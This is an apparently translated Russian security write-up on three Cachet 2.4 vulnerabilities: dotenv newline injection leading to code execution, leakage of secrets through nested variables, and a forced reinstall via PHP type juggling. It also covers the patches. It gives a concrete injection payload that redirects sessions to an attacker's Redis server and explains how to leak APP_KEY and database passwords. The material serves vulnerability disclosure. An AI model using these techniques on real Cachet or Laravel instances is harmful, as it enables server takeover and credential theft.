Cachet 2.4: Исполнение кода через инъекцию конфигурации Laravel

На входящие данные не выполняется проверка: если запись конфигурации уже существует, она будет заменена на значение, поступающее из параметра. Если злоумышленник предоставляет значение, содержащее новые строки, это создаст новые записи в файле dotenv и может изменить функциональность на уровне фреймворка.

Примечание: используется только первое определение переменной в файле dotenv; последующие будут проигнорированы.

На проектах Laravel этот примитив достаточен для достижения произвольного выполнения кода. Исходный файл конфигурации dotenv вероятно будет выглядеть следующим образом в большинстве экземпляров:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Нападающие могут заменить ключ CACHE_DRIVER и зарегистрировать сервер Redis под своим контролем в качестве нового бэкенда для сессий:

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

После отправки запроса, который устанавливает CACHE_DRIVER на это значение, файл dotenv будет выглядеть следующим образом:

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Поскольку сессии Laravel сериализуются с использованием встроенного формата PHP, они анализируются с помощью функции unserialize(). Это известная уязвимость, которую можно использовать для выполнения произвольного кода с помощью последовательности специально созданных объектов, концепция которых называется “цепочками pop”. Инструмент PHPGGC может генерировать такие цепочки для проектов Laravel. 

Возможны и другие способы использования выполнения команд из новой строки инъекции в файле dotenv, но мы не проводили дальнейших исследований в этом направлении. Моя команда и я интересуемся, знает ли вас какие-либо другие методы!

CVE-2021-39174: Утечка конфигурации

Как я описывал в предыдущем разделе, можно иметь прямой доступ для чтения и записи к значениям, хранящимся в файле dotenv. Запись в этот файл в конечном итоге приводит к выполнению произвольного кода, но может ли это также быть использовано с учетом того, что значения этого файла отображаются в интерфейсе?

Документация по vlucas/phpdotenv описывает, что она поддерживает присваивание вложенных переменных: при объявлении переменной можно ссылаться на ранее объявленную с использованием синтаксиса ${NAME}.

Эта функция удобна: ссылаясь на другую переменную в записи файла конфигурации dotenv и отображая эту запись в интерфейсе, она раскрывает значение другой переменной. 

Уже широко документировано, что утечка APP_KEY приводит к выполнению кода, если драйвер сессии установлен на cookie, и эта примитивная возможность также может быть использована для утечки DB_PASSWORD и MAIL_PASSWORD для проведения дальнейших атак.

CVE-2021-39173: Принудительная переустановка

Страница настройки недоступна, если экземпляр уже установлен, как это реализовано в middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // не настроено тогда!      
         }        
         
         return $next($request);   
  } 
}

Проверка основана исключительно на значении настройки: если оно не определено или пусто, middleware будет считать, что экземпляр установлен.

В случае, если вы задаётесь вопросом, что ещё может оцениваться как false, вот краткое руководство по системе типов в PHP при сравнениях до PHP 8. Сравнение может выполняться с использованием проверки равенства (==) или проверки идентичности (===). Проверки равенства подразумевают, что тип операндов не учитывается, и строки могут быть преобразованы в числа заранее. Это поведение было названо “переключением типов” и было использовано в различных реальных уязвимостях (CVE-2017-1001000, CVE-2019-10231). В случае вышеупомянутого сравнения любое значение, равное пустой строке или “0”, будет оцениваться как false и предоставит доступ к страницам настройки.

Значение app_name не проверяется при обновлении настроек в SettingsController@postSettings, на [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Таким образом, аутентифицированный пользователь может обновить его до значения, оцениваемого как false, а затем получить доступ/настроить заново для переустановки экземпляра с новым аккаунтом администратора (повышение привилегий) или воспользоваться нашим первым находками и получить выполнение кода (помните, UpdateConfigCommandHandler также может быть использован из этого пути).

Патч

Уязвимость инъекции новой строки (CVE-2021-39172) была решена путём улучшения проверки входящих значений в UpdateConfigCommandHandler, отклоняя любые модификации, содержащие символы новой строки.

Баг утечки конфигурации (CVE-2021-39174) оказался более сложным для исправления, так как последнюю версию библиотеки dotenv не удалось импортировать из-за существующих зависимостей. Вместо этого был перенесён соответствующий код, позволяющий обработчику команд определять, содержит ли значение вложенную переменную.

Наконец, невозможно принудительно переустановить существующие экземпляры (CVE-2021-39173) благодаря улучшенным проверкам в затронутом middleware.

Хронология

Краткий обзор

В данной статье я проанализировал три уязвимости в Cachet и продемонстрировал возможность захвата экземпляров с использованием только базовых разрешений пользователя с помощью файлов конфигурации Laravel. Также я описал примененные исправления со стороны разработчиков и то, как они предотвращают атаки, которые я представил.

Наконец, моя команда и я хотели бы поблагодарить разработчиков форка FiveAI Cachet за признание нашего обзора и своевременное и профессиональное устранение этих уязвимостей.